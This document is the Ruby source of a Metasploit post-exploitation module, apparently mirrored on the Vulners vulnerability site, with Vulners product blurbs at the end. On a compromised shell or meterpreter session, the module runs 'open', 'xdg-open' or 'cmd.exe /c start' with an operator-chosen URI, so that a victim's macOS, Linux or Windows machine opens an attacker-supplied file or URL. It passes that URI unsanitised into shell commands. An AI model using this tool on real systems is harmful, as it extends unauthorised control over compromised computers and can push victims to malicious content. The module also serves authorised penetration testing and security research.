##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Open a file or URL on the target computer',
'Description' => %q{
This module will open any file or URL specified with the URI format on the
target computer via the embedded commands such as 'open' or 'xdg-open'.
},
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere'],
'Platform' => [ 'osx', 'linux', 'win' ],
'SessionTypes' => [ 'shell', 'meterpreter' ]
)
)
register_options(
[
OptString.new('URI', [true, 'URI path to open'])
]
)
end
#
# The OSX version simply uses 'open'
#
def osx_open(uri)
begin
cmd_exec("open #{uri}")
rescue EOFError
return false
end
true
end
#
# The Linux version relies on 'xdg-open'
#
def linux_open(uri)
begin
cmd_exec("xdg-open #{uri}")
rescue EOFError
return false
end
true
end
def win_open(uri)
begin
cmd_exec("cmd.exe /c start #{uri}")
rescue EOFError
return false
end
true
end
def open(uri)
case session.platform
when 'osx'
return osx_open(uri)
when 'linux'
return linux_open(uri)
when 'windows'
return win_open(uri)
end
end
def run
uri = datastore['URI']
print_status("Opening #{uri}")
if open(uri)
print_good('Success')
else
print_error('Command failed')
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation